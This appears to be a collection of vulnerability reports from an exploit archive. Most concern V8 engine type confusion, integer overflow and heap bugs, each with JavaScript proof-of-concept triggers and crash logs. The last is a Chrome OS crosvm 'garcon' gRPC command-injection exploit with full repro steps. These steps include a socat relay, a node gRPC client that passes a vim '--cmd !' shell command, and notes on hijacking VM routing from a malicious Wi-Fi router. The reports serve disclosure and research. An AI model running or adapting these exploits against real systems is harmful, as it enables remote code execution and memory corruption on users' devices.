                *maps_return = ZoneHandleSet<Map>(initial_map);
                return result;
              }
            }
          }
          // We reached the allocation of the {receiver}.
          return kNoReceiverMaps;
        }
        break;
      }

"mnewtarget" is expected to be a constructor which also can be of type JSBoundFunction. But "mnewtarget" is always cast to JSFunction which leads to type confusion.

The PoC seems not to crash in release mode.

Debug mode log:
#
# Fatal error in ../../src/objects-inl.h, line 566
# Check failed: !v8::internal::FLAG_enable_slow_asserts || (object->IsJSFunction()).
#

==== C stack trace ===============================

    /v8/out.gn/x64.debug/./libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x1e) [0x7f4623e1043e]
    /v8/out.gn/x64.debug/./libv8_libplatform.so(+0x30907) [0x7f4623db3907]
    /v8/out.gn/x64.debug/./libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x1bd) [0x7f4623df876d]
    /v8/out.gn/x64.debug/./libv8.so(v8::internal::JSFunction::cast(v8::internal::Object*)+0x64) [0x7f46226584a4]
    /v8/out.gn/x64.debug/./libv8.so(v8::internal::Handle<v8::internal::JSFunction> const v8::internal::Handle<v8::internal::JSFunction>::cast<v8::internal::JSFunction>(v8::internal::Handle<v8::internal::JSFunction>)+0x23) [0x7f4622651173]
    /v8/out.gn/x64.debug/./libv8.so(v8::internal::compiler::NodeProperties::InferReceiverMaps(v8::internal::compiler::Node*, v8::internal::compiler::Node*, v8::internal::ZoneHandleSet<v8::internal::Map>*)+0x435) [0x7f4622c24a75]
    /v8/out.gn/x64.debug/./libv8.so(v8::internal::compiler::JSNativeContextSpecialization::InferReceiverMaps(v8::internal::compiler::Node*, v8::internal::compiler::Node*, std::__1::vector<v8::internal::Handle<v8::internal::Map>, std::__1::allocator<v8::internal::Handle<v8::internal::Map> > >*)+0x50) [0x7f4622b8b820]
    /v8/out.gn/x64.debug/./libv8.so(v8::internal::compiler::JSNativeContextSpecialization::ExtractReceiverMaps(v8::internal::compiler::Node*, v8::internal::compiler::Node*, v8::internal::FeedbackNexus const&, std::__1::vector<v8::internal::Handle<v8::internal::Map>, std::__1::allocator<v8::internal::Handle<v8::internal::Map> > >*)+0x202) [0x7f4622b82632]
    /v8/out.gn/x64.debug/./libv8.so(v8::internal::compiler::JSNativeContextSpecialization::ReduceNamedAccessFromNexus(v8::internal::compiler::Node*, v8::internal::compiler::Node*, v8::internal::FeedbackNexus const&, v8::internal::Handle<v8::internal::Name>, v8::internal::compiler::AccessMode)+0x2e6) [0x7f4622b822b6]
    /v8/out.gn/x64.debug/./libv8.so(v8::internal::compiler::JSNativeContextSpecialization::ReduceJSStoreNamed(v8::internal::compiler::Node*)+0x298) [0x7f4622b7c2c8]
    /v8/out.gn/x64.debug/./libv8.so(v8::internal::compiler::JSNativeContextSpecialization::Reduce(v8::internal::compiler::Node*)+0x11f) [0x7f4622b78f7f]
    /v8/out.gn/x64.debug/./libv8.so(v8::internal::compiler::GraphReducer::Reduce(v8::internal::compiler::Node*)+0x285) [0x7f4622ad8c55]
    /v8/out.gn/x64.debug/./libv8.so(v8::internal::compiler::GraphReducer::ReduceTop()+0x44f) [0x7f4622ad874f]
    /v8/out.gn/x64.debug/./libv8.so(v8::internal::compiler::GraphReducer::ReduceNode(v8::internal::compiler::Node*)+0x1bc) [0x7f4622ad7cfc]
    /v8/out.gn/x64.debug/./libv8.so(v8::internal::compiler::GraphReducer::ReduceGraph()+0x2d) [0x7f4622ad89bd]
    /v8/out.gn/x64.debug/./libv8.so(v8::internal::compiler::InliningPhase::Run(v8::internal::compiler::PipelineData*, v8::internal::Zone*)+0x58a) [0x7f4622c46e2a]

PoC:
*/

// Flags: --allow-natives-syntax --enable_slow_asserts

class Base {
    constructor() {
        this.x = 1;
    }
}

class Derived extends Base {
    constructor() {
        // JSCreate emitted I guess.
        super();
    }
}

let bound = Object.bind();
Reflect.construct(Derived, [], bound);  // Feed a bound function as new.target to the profiler, so HeapObjectMatcher can find it.

%OptimizeFunctionOnNextCall(Derived);

new Derived();
            
PoC:
function* opt(arg = () => arg) {
    let tmp = opt.x;  // LdaNamedProperty
    for (;;) {
        arg;
        yield;

        function inner() {
            tmp;
        }

        break;
    }
}

for (let i = 0; i < 100000; i++) {
    opt();
}

/*
PoC for release build:
function* opt(arg = () => {
    arg;
    this;
}, opt) {
    let tmp = arg.x;
    for (;;) {
        arg;
        yield;

        tmp = {
            inner() {
                tmp;
            }
        };
    }
}

for (let i = 0; i < 10000; i++) {
    opt();
}

What happened:
1. The LdaNamedProperty operation "opt.x" was lowered to a graph exit in the graph builder. This set the current environment to nullptr (BytecodeGraphBuilder::ApplyEarlyReduction).
2. The environment for the next block (for-loop) was supposed to be created from merging with the previous environment, but it had been set to nullptr at 1. So the context value remained as "undefined".
3. But GetSpecializationContext directly casted the context value to Context* which resulted in type confusion.
*/
            
/*
Here's a snippet of AsyncGeneratorReturn. (https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-async-generator-gen.cc?rcl=bcd1365cf7fac0d7897c43b377c143aae2d22f92&l=650)

  Node* const context = Parameter(Descriptor::kContext);
  Node* const outer_promise = LoadPromiseFromAsyncGeneratorRequest(req);
  Node* const promise =
      Await(context, generator, value, outer_promise, AwaitContext::kLength,
            init_closure_context, var_on_resolve.value(), var_on_reject.value(),
            is_caught);

  CSA_SLOW_ASSERT(this, IsGeneratorNotSuspendedForAwait(generator));
  StoreObjectField(generator, JSAsyncGeneratorObject::kAwaitedPromiseOffset,
                   promise);

The Await methods calls ResolveNativePromise which calls InternalResolvePromise which can invoke user JavaScript code through a "then" getter. If the AwaitedPromise is replaced by the user script, the AwaitedPromise will be immediately overwritten after the call to Await, this may lead the generator to an incorrect state.

PoC:
*/

async function* asyncGenerator() {
}

let gen = asyncGenerator();
gen.return({
    get then() {
        delete this.then;

        gen.next();
    }
});

/*
Log in debug mode:
abort: CSA_ASSERT failed: IsNotUndefined(request) [../../src/builtins/builtins-async-generator-gen.cc:328]


==== JS stack trace =========================================

Security context: 0x2b29083a3a71 <JSObject>#0#
    2: /* anonymous */(this=0x19b7b0603721 <JSGlobal Object>#1#,0x19b7b060d139 <Object map = 0x189055388c91>#2#)

==== Details ================================================

[2]: /* anonymous */(this=0x19b7b0603721 <JSGlobal Object>#1#,0x19b7b060d139 <Object map = 0x189055388c91>#2#) {
// optimized frame
--------- s o u r c e   c o d e ---------
<No Source>
-----------------------------------------
}
==== Key         ============================================

 #0# 0x2b29083a3a71: 0x2b29083a3a71 <JSObject>
 #1# 0x19b7b0603721: 0x19b7b0603721 <JSGlobal Object>
 #2# 0x19b7b060d139: 0x19b7b060d139 <Object map = 0x189055388c91>
=====================

Received signal 4 ILL_ILLOPN 7fb143ae2781

==== C stack trace ===============================

 [0x7fb143ae643e]
 [0x7fb143ae6395]
 [0x7fb1436ce390]
 [0x7fb143ae2781]
 [0x7fb1430f23ae]
 [0x7fb1430f1ef7]
 [0x1c8e08204384]
[end of stack trace]
Illegal instruction
*/
            
/*
Here'a snippet of TranslatedState::MaterializeCapturedObjectAt.
    case JS_SET_KEY_VALUE_ITERATOR_TYPE:
    case JS_SET_VALUE_ITERATOR_TYPE: {
      Handle<JSSetIterator> object = Handle<JSSetIterator>::cast(
          isolate_->factory()->NewJSObjectFromMap(map, NOT_TENURED));
      Handle<Object> properties = materializer.FieldAt(value_index);
      Handle<Object> elements = materializer.FieldAt(value_index);
      Handle<Object> table = materializer.FieldAt(value_index);
      Handle<Object> index = materializer.FieldAt(value_index);
      object->set_raw_properties_or_hash(*properties);
      object->set_elements(FixedArrayBase::cast(*elements));
      object->set_table(*table);
      object->set_index(*index);
      return object;
    }
    case JS_MAP_KEY_ITERATOR_TYPE:
    case JS_MAP_KEY_VALUE_ITERATOR_TYPE:
    case JS_MAP_VALUE_ITERATOR_TYPE: {
      Handle<JSMapIterator> object = Handle<JSMapIterator>::cast(
          isolate_->factory()->NewJSObjectFromMap(map, NOT_TENURED));
      Handle<Object> properties = materializer.FieldAt(value_index);
      Handle<Object> elements = materializer.FieldAt(value_index);
      Handle<Object> table = materializer.FieldAt(value_index);
      Handle<Object> index = materializer.FieldAt(value_index);
      object->set_raw_properties_or_hash(*properties);
      object->set_elements(FixedArrayBase::cast(*elements));
      object->set_table(*table);
      object->set_index(*index);
      return object;
    }

For these 5 types, it doesn't cache the created objects like "slot->value_ = object". This can be used to create different objects but sharing the same properties which may lead to type confusion.

PoC:
*/

function opt(b) {
    let iterator = new Set().values();
    iterator.x = 0;

    let arr = [iterator, iterator];
    if (b)
        return arr.slice();
}

for (let i = 0; i < 100000; i++)
    opt(false);

let res = opt(true);
let a = res[0];
let b = res[1];

print(a === b);  // false
a.x = 7;

print(b.x);  // 7

a.a = 1.1;  // transition
b.b = 0x1234;
a.a = 1.1;  // type confusion
            
/*
Here's a snippet of the method.
    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
        isolate, captures_length_obj,
        Object::ToLength(isolate, captures_length_obj));
    const int captures_length = PositiveNumberToUint32(*captures_length_obj);
    ...
    if (functional_replace) {
      const int argc =
          has_named_captures ? captures_length + 3 : captures_length + 2; <<-- (a)

      ScopedVector<Handle<Object>> argv(argc);

      int cursor = 0;
      for (int j = 0; j < captures_length; j++) {
        argv[cursor++] = captures[j];
      }

      // (b)
      argv[cursor++] = handle(Smi::FromInt(position), isolate);
      argv[cursor++] = string;

The variable "captures_length" can be controlled by the user, so an integer overflow may occur at (a) which causes a heap overflow at (b).


PoC:
*/

let cnt = 0;
let reg = /./g;
reg.exec = () => {
    if (cnt++ == 0)
        return {length: 0xfffffffe};

    cnt = 0;
    return null;
};

''.replace(reg, () => {});
            
/*
Here's a snippet of the MigrateFastToFast function which is used to create a new PropertyArray object.

  int number_of_fields = new_map->NumberOfFields();
  int inobject = new_map->GetInObjectProperties();
  int unused = new_map->UnusedPropertyFields();

  ...

  int total_size = number_of_fields + unused;
  int external = total_size - inobject;
  Handle<PropertyArray> array = isolate->factory()->NewPropertyArray(external);

The new_map variable may come from the Map::CopyWithField method.

Here's a snippet of the method.
MaybeHandle<Map> Map::CopyWithField(Handle<Map> map, Handle<Name> name,
                                    Handle<FieldType> type,
                                    PropertyAttributes attributes,
                                    PropertyConstness constness,
                                    Representation representation,
                                    TransitionFlag flag) {
  ...
  if (map->NumberOfOwnDescriptors() >= kMaxNumberOfDescriptors) {
    return MaybeHandle<Map>();
  }

  DCHECK_IMPLIES(!FLAG_track_constant_fields, constness == kMutable);
  Descriptor d = Descriptor::DataField(name, index, attributes, constness,
                                       representation, wrapped_type);

  Handle<Map> new_map = Map::CopyAddDescriptor(map, &d, flag);
  new_map->AccountAddedPropertyField();
  return new_map;
}

The Map::CopyAddDescriptor method adds one more descriptor to the map, and the AccountAddedPropertyField method may make the UnusedPropertyFields() up to 2. Since kMaxNumberOfDescriptors is 1022, new_map's NumberOfFields() can be 1022, and UnusedPropertyFields() can be 2 in certain circumstances.

This means, in the MigrateFastToFast method, the "external" variable can be 1024 which exceeds the maximum value of a ProperyArray's length which is 1023. So the created array's length() will return 0, it hits the following assert.

#
# Fatal error in ../../v8/src/objects-inl.h, line 1750
# Debug check failed: index < this->length() (0 vs. 0).
#

==== C stack trace ===============================

    0   d8                                  0x00000001071f6372 v8::base::debug::StackTrace::StackTrace() + 34
    1   d8                                  0x00000001071fdcc0 v8::platform::(anonymous namespace)::PrintStackTrace() + 192
    2   d8                                  0x00000001071eaf4a V8_Fatal(char const*, int, char const*, ...) + 442
    3   d8                                  0x00000001071ea6af v8::base::(anonymous namespace)::DefaultDcheckHandler(char const*, int, char const*) + 47
    4   d8                                  0x0000000105b0375c v8::internal::PropertyArray::set(int, v8::internal::Object*) + 1116
    5   d8                                  0x000000010630e10e v8::internal::JSObject::MigrateToMap(v8::internal::Handle<v8::internal::JSObject>, v8::internal::Handle<v8::internal::Map>, int) + 18558
    6   d8                                  0x00000001061f858b v8::internal::LookupIterator::ApplyTransitionToDataProperty(v8::internal::Handle<v8::internal::JSObject>) + 1899
    7   d8                                  0x000000010632221e v8::internal::Object::AddDataProperty(v8::internal::LookupIterator*, v8::internal::Handle<v8::internal::Object>, v8::internal::PropertyAttributes, v8::internal::ShouldThrow, v8::internal::Object::StoreFromKeyed) + 2254
    8   d8                                  0x000000010631f338 v8::internal::Object::SetProperty(v8::internal::LookupIterator*, v8::internal::Handle<v8::internal::Object>, v8::internal::LanguageMode, v8::internal::Object::StoreFromKeyed) + 1112
    9   d8                                  0x0000000105f90c07 v8::internal::StoreIC::Store(v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Name>, v8::internal::Handle<v8::internal::Object>, v8::internal::Object::StoreFromKeyed) + 4647
    10  d8                                  0x0000000105f9ca62 v8::internal::KeyedStoreIC::Store(v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>) + 2258
    11  d8                                  0x0000000105fae469 v8::internal::__RT_impl_Runtime_KeyedStoreIC_Miss(v8::internal::Arguments, v8::internal::Isolate*) + 1321
    12  d8                                  0x0000000105fad513 v8::internal::Runtime_KeyedStoreIC_Miss(int, v8::internal::Object**, v8::internal::Isolate*) + 979
    13  ???                                 0x000000010d385204 0x0 + 4516762116
Received signal 4 <unknown> 0001071f2478
Illegal instruction: 4

It seems like OOB writes, but actually it is not. array->length() just returns 0, it's allocated enough to contain 1024 elements. But this affects the Garbage Collector to reallocate the array with the 0 length. So after the garbage collection, it can lead to OOB reads/writes.

PoC:
*/

function gc() {
    for (let i = 0; i < 20; i++)
        new ArrayBuffer(0x1000000);
}

function trigger() {
    function* generator() {
    }

    for (let i = 0; i < 1022; i++) {
        generator.prototype['b' + i];
        generator.prototype['b' + i] = 0x1234;
    }

    gc();

    for (let i = 0; i < 1022; i++) {
        generator.prototype['b' + i] = 0x1234;
    }
}

trigger();
            
======================= BUG DESCRIPTION =======================
There is a variety of RPC communication channels between the Chrome OS host
system and the crosvm guest. This bug report focuses on communication on TCP
port 8889, which is used by the "garcon" service.

Among other things, garcon is responsible for:
 - sending URLs to be opened from the guest to the host
 - telling the host which applications (more precisely, .desktop files) are
   installed in the guest, so that the host can display them in the launcher
 - telling the guest to launch applications when the user clicks on stuff in the
   launcher

garcon uses gRPC, which is an RPC protocol that sends protobufs over plaintext
HTTP/2. (Other system components communicate with the VM over gRPC-over-vsock,
but garcon uses gRPC-over-TCP.) For some command types, the TCP connection is
initiated by the host; for others, it is initiated by the guest. Both guest and
host are listening on [::]:8889; however, the iptables rules of the host prevent
an outside host from simply connecting to those sockets.

However, Chrome OS apps running on the host (and I think also Android apps, but
I haven't tested that) are not affected by such restrictions. This means that a
Chrome OS app with the "Exchange data with any device on the local network or
internet" permission can open a gRPC socket to the guest's garcon (no
authentication required) and send a vm_tools.container.Garcon.LaunchApplication
RPC call to the guest. This RPC call takes two arguments:

  // Request protobuf for launching an application in the container.
  message LaunchApplicationRequest {
    // The ID of the application to launch. This should correspond to an
    // identifier for a .desktop file available in the container.
    string desktop_file_id = 1;

    // Files to pass as arguments when launching the application, if any, given
    // as absolute paths within the container's filesystem.
    repeated string files = 2;
  }

"desktop_file_id" is actually a relative path to a .desktop file without the
".desktop". One preinstalled .desktop file in the VM is for the VIM editor.
"files" is an array of "paths" that should be provided to the application as
arguments - but actually, you can just pass in arbitrary arguments this way.
This only works for applications whose .desktop files permit passing arguments,
but vim.desktop does permit that.

VIM permits passing a VIM command to be executed on startup using the "--cmd"
flag, and a VIM command that starts with an exclamation mark is interpreted as
a shell command.

So in summary, you can execute arbitrary shell commands by sending a gRPC like
this to the VM:
vm_tools.container.Garcon.LaunchApplication({
  desktop_file_id: 'vim',
  files: [
    '--cmd',
    '!id>/tmp/owned'
  ]
})

For my PoC, since I didn't want to try directly speaking gRPC from inside a
Chrome app, I instead built an app that forwards the garcon port to the outside
network, and then connected to garcon from a normal Linux workstation.
Repro instructions are at the bottom of this bug report, under
"REPRO INSTRUCTIONS", but first I'll list a few other things about crosvm that
look interesting from a security perspective.

Because of this issue, and because of the routing issue described below, I
strongly recommend getting rid of TCP-based communication with the VM entirely.
The various other inter-VM socket types that are already used should be more
than sufficient.



======================= RANDOM OBSERVATIONS =======================
This section lists a bunch of things that I haven't written full PoCs for so far,
but that look interesting or bad from a security perspective:

------------------- ROUTING TABLE -------------------
It is possible for a malicious wifi router to get packets from the host-side
garcon RPC endpoint. You might be able to do bad stuff to a Chrome OS
device over the network using this, but I haven't fully tested this yet.

Normally, when you connect the Chrome OS device to a wifi network, the routing
table looks as follows:

localhost / # route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         192.168.246.1   0.0.0.0         UG    1      0        0 wlan0
100.115.92.0    0.0.0.0         255.255.255.252 U     0      0        0 arcbr0
100.115.92.4    0.0.0.0         255.255.255.252 U     0      0        0 vmtap0
100.115.92.192  100.115.92.6    255.255.255.240 UG    0      0        0 vmtap0
192.168.246.0   0.0.0.0         255.255.255.0   U     0      0        0 wlan0

Routing precedence depends on prefix length; more specific routes take
precedence over the default route. The 100.115.92.192/28 route is the most
specific one for traffic to the VM at 100.115.92.204, so that is the route used
for RPC calls to that IP address.

However, the wifi router can supply routing information that influences the
routing table. By modifying the wifi router's settings and reconnecting the
Chrome OS device, I get the following routing table in Chrome OS:

localhost / # route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         100.115.92.201  0.0.0.0         UG    1      0        0 wlan0
8.8.8.8         100.115.92.201  255.255.255.255 UGH   0      0        0 wlan0
100.115.92.0    0.0.0.0         255.255.255.252 U     0      0        0 arcbr0
100.115.92.4    0.0.0.0         255.255.255.252 U     0      0        0 vmtap0
100.115.92.192  100.115.92.6    255.255.255.240 UG    0      0        0 vmtap0
100.115.92.200  0.0.0.0         255.255.255.248 U     0      0        0 wlan0

Now the 100.115.92.200/29 route pointing to wlan0 takes precedence over the
legitimate 100.115.92.192/28 route. I then told my router to respond to ARP
queries for 100.115.92.204 (the VM's IP) and ran wireshark on the wifi router
while connecting the ChromeOS device to it. I observed a TCP ACK packet coming
in on port 8889, from 100.115.92.5, with the following payload:

00000000  00 00 19 01 04 00 00 00  09 c7 c6 be c4 c3 c2 c1   ........ ........
00000010  c0 00 0c 67 72 70 63 2d  74 69 6d 65 6f 75 74 02   ...grpc- timeout.
00000020  32 53 00 00                                        2S..

I also got a TCP SYN packet on port 2222 (that's the port on which OpenSSH
listens in the VM).

------------------- SSHFS -------------------
When the user wishes to access the guest's filesystem from the host, sshfs is
used - a FUSE filesystem that uses ssh to interact with sftp-server on the
remote side.
sshfs runs with CAP_SYS_CHOWN, CAP_SETGID, CAP_SETUID and CAP_SYS_ADMIN, and
those privileges are even inherited by the ssh process.

------------------- VIRTIO WAYLAND -------------------
The crosvm host process implements a virtio protocol for Wayland. This is
described as follows in the guest kernel driver:

* Virtio Wayland (virtio_wl or virtwl) is a virtual device that allows a guest
* virtual machine to use a wayland server on the host transparently (to the
* host).  This is done by proxying the wayland protocol socket stream verbatim
* between the host and guest over 2 (recv and send) virtio queues. The guest
* can request new wayland server connections to give each guest wayland client
* a different server context. Each host connection's file descriptor is exposed
* to the guest as a virtual file descriptor (VFD). Additionally, the guest can
* request shared memory file descriptors which are also exposed as VFDs. These
* shared memory VFDs are directly writable by the guest via device memory
* injected by the host. Each VFD is sendable along a connection context VFD and
* will appear as ancillary data to the wayland server, just like a message from
* an ordinary wayland client. When the wayland server sends a shared memory
* file descriptor to the client (such as when sending a keymap), a VFD is
* allocated by the device automatically and its memory is injected into as
* device memory.

Note the "verbatim" - as far as I can tell, the host component is not filtering
anything, but just plumbs the wayland traffic straight into the
/run/chrome/wayland-0 socket, on which the chrome browser process is listening.
If I read the code correctly, the low-level parsing of wayland RPCs is then
performed using the C code in libwayland, while the high-level handling of a
bunch of RPCs is done in C++ code in Chrome in src/components/exo/wayland/.



======================= REPRO INSTRUCTIONS =======================
Tested on: "10820.0.0 (Official Build) dev-channel eve"

Switch your Chrome OS victim machine to the dev channel so that the Linux VM
feature becomes available.

Set up a wifi network on which direct connections between machines are permitted,
and connect the victim device to it.

Open the Chrome OS settings. Enable "Linux (Beta)", wait for the install process
to complete, then launch crosvm by clicking the Terminal icon in the launcher.

In the guest OS terminal, determine the container's IP address with "ip addr".
For me, the address is 100.115.92.204, but it seems to change when you
reinstall the container.

On the attacker machine, run
"socat -d TCP-LISTEN:1335,reuseaddr TCP-LISTEN:1336,reuseaddr".
This is just a TCP server that copies data between a client on TCP port 1335
(must connect first) and a client on TCP port 1336.

On the host, unzip garcon_forwarder.zip and load it as unpacked app. Then
open "garcon forwarder" from the launcher, fill in the correct IP addresses, and
press "run". You should see a little bit of hexdump appearing in the app.

On the attacker machine, install nodejs, then, in a folder containing
container_guest.proto:

$ npm install grpc
[...]
$ npm install @grpc/proto-loader
[...]
$ node
> var grpc = require('grpc');
undefined
> var protoLoader = require('@grpc/proto-loader');
undefined
> var packageDefinition = protoLoader.loadSync('./container_guest.proto', {keepCase: true, longs: String, enums: String, defaults: true, oneofs: true});
undefined
> var protoDescriptor = grpc.loadPackageDefinition(packageDefinition);
undefined
> var stub = new protoDescriptor.vm_tools.container.Garcon('localhost:1336', grpc.credentials.createInsecure());
undefined
> stub.launchApplication({desktop_file_id:'vim',files:['--cmd','!id>/tmp/owned']}, function() {console.log(arguments)});
ClientUnaryCall {
  domain: 
   Domain {
     domain: null,
     _events: 
      { removeListener: [Function: updateExceptionCapture],
        newListener: [Function: updateExceptionCapture],
        error: [Function: debugDomainError] },
     _eventsCount: 3,
     _maxListeners: undefined,
     members: [] },
  _events: {},
  _eventsCount: 0,
  _maxListeners: undefined,
  call: 
   InterceptingCall {
     next_call: InterceptingCall { next_call: null, requester: [Object] },
     requester: undefined } }
> [Arguments] { '0': null, '1': { success: true, failure_reason: '' } }


At this point, in the garcon forwarder app, you should see this:

activating...
connected to garcon over socket 16
connected to attacker over socket 17
on socket 16, received:
 00 00 12 04 00 00 00 00 00 00 04 00 00 ff ff 00 |................|
 06 00 00 40 00 fe 03 00 00 00 01 00 00 04 08 00 |...@............|
 00 00 00 00 7f ff 00 00                         |........|
on socket 17, received:
 50 52 49 20 2a 20 48 54 54 50 2f 32 2e 30 0d 0a |PRI * HTTP/2.0..|
 0d 0a 53 4d 0d 0a 0d 0a 00 00 24 04 00 00 00 00 |..SM......$.....|
 00 00 02 00 00 00 00 00 03 00 00 00 00 00 04 00 |................|
 40 00 00 00 05 00 40 00 00 00 06 00 00 20 00 fe |@.....@...... ..|
 03 00 00 00 01 00 00 04 08 00 00 00 00 00 00 3f |...............?|
 00 01 00 00 08 06 00 00 00 00 00 00 00 00 00 00 |................|
 00 00 00                                        |...|
on socket 17, received:
 00 01 2b 01 04 00 00 00 01 40 07 3a 73 63 68 65 |..+......@.:sche|
 6d 65 04 68 74 74 70 40 07 3a 6d 65 74 68 6f 64 |me.http@.:method|
 04 50 4f 53 54 40 0a 3a 61 75 74 68 6f 72 69 74 |.POST@.:authorit|
 79 0e 6c 6f 63 61 6c 68 6f 73 74 3a 31 33 33 36 |y.localhost:1336|
 40 05 3a 70 61 74 68 2c 2f 76 6d 5f 74 6f 6f 6c |@.:path,/vm_tool|
 73 2e 63 6f 6e 74 61 69 6e 65 72 2e 47 61 72 63 |s.container.Garc|
 6f 6e 2f 4c 61 75 6e 63 68 41 70 70 6c 69 63 61 |on/LaunchApplica|
 74 69 6f 6e 40 02 74 65 08 74 72 61 69 6c 65 72 |tion@.te.trailer|
 73 40 0c 63 6f 6e 74 65 6e 74 2d 74 79 70 65 10 |s@.content-type.|
 61 70 70 6c 69 63 61 74 69 6f 6e 2f 67 72 70 63 |application/grpc|
 40 0a 75 73 65 72 2d 61 67 65 6e 74 3c 67 72 70 |@.user-agent<grp|
 63 2d 6e 6f 64 65 2f 31 2e 31 33 2e 30 20 67 72 |c-node/1.13.0 gr|
 70 63 2d 63 2f 36 2e 30 2e 30 2d 70 72 65 31 20 |pc-c/6.0.0-pre1 |
 28 6c 69 6e 75 78 3b 20 63 68 74 74 70 32 3b 20 |(linux; chttp2; |
 67 6c 6f 72 69 6f 73 61 29 40 14 67 72 70 63 2d |gloriosa)@.grpc-|
 61 63 63 65 70 74 2d 65 6e 63 6f 64 69 6e 67 15 |accept-encoding.|
 69 64 65 6e 74 69 74 79 2c 64 65 66 6c 61 74 65 |identity,deflate|
 2c 67 7a 69 70 40 0f 61 63 63 65 70 74 2d 65 6e |,gzip@.accept-en|
 63 6f 64 69 6e 67 0d 69 64 65 6e 74 69 74 79 2c |coding.identity,|
 67 7a 69 70 00 00 04 08 00 00 00 00 01 00 00 00 |gzip............|
 05 00 00 21 00 01 00 00 00 01 00 00 00 00 1c 0a |...!............|
 03 76 69 6d 12 05 2d 2d 63 6d 64 12 0e 21 69 64 |.vim..--cmd..!id|
 3e 2f 74 6d 70 2f 6f 77 6e 65 64 00 00 04 08 00 |>/tmp/owned.....|
 00 00 00 00 00 00 00 05                         |........|
on socket 16, received:
 00 00 00 04 01 00 00 00 00 00 00 08 06 01 00 00 |................|
 00 00 00 00 00 00 00 00 00 00                   |..........|
on socket 16, received:
 00 00 58 01 04 00 00 00 01 40 07 3a 73 74 61 74 |..X......@.:stat|
 75 73 03 32 30 30 40 0c 63 6f 6e 74 65 6e 74 2d |us.200@.content-|
 74 79 70 65 10 61 70 70 6c 69 63 61 74 69 6f 6e |type.application|
 2f 67 72 70 63 40 14 67 72 70 63 2d 61 63 63 65 |/grpc@.grpc-acce|
 70 74 2d 65 6e 63 6f 64 69 6e 67 15 69 64 65 6e |pt-encoding.iden|
 74 69 74 79 2c 64 65 66 6c 61 74 65 2c 67 7a 69 |tity,deflate,gzi|
 70 00 00 07 00 00 00 00 00 01 00 00 00 00 02 08 |p...............|
 01 00 00 0f 01 05 00 00 00 01 40 0b 67 72 70 63 |..........@.grpc|
 2d 73 74 61 74 75 73 01 30                      |-status.0|


Now, in the Linux VM, you can see the created file:

gjannhtest1@penguin:~$ cat /tmp/owned
uid=1000(gjannhtest1) gid=1000(gjannhtest1) groups=1000(gjannhtest1),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),44(video),46(plugdev),100(users)


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45407.zip